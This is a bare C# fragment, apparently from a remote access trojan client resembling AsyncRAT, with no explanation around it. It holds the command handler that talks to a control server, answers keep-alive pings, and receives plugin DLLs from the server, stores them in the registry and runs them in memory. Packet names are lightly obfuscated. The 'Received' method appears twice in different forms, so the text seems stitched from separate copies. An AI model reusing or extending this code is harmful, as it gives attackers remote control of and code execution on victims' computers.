private static void Received() //reset client forecolor { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = Encoding.Default.GetString(Convert.FromBase64String("UmVjZWl2ZWQ="));//"Received" ClientSocket.Send(msgpack.Encode2Bytes()); Thread.Sleep(1000); }
public static void Error(string ex) //send to logs { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "Error"; msgpack.ForcePathObject("Error").AsString = ex; ClientSocket.Send(msgpack.Encode2Bytes()); }
private static void Received() //reset client forecolor { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "Received"; ClientSocket.Send(msgpack.Encode2Bytes()); Thread.Sleep(1000); }
public static void Read(object data) { try { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])data); switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString) { case "po_ng": //send interval value to server { ClientSocket.ActivatePo_ng = false; MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").SetAsString("po_ng"); msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval); ClientSocket.Send(msgPack.Encode2Bytes()); ClientSocket.Interval = 0; break; } case "plu_gin": // run plugin in memory { try { if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed { Packs.Add(unpack_msgpack); //save it for later MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").SetAsString("sendPlugin"); msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString); ClientSocket.Send(msgPack.Encode2Bytes()); } else { Invoke(unpack_msgpack); } } catch (Exception ex) { Error(ex.Message); } break; } case "save_Plugin": // save plugin { SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes()); Debug.WriteLine("plugin saved"); foreach (MsgPack msgPack in Packs.ToList()) { if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString) { Invoke(msgPack); Packs.Remove(msgPack); } } break; } } } catch (Exception ex) { Error(ex.Message); } }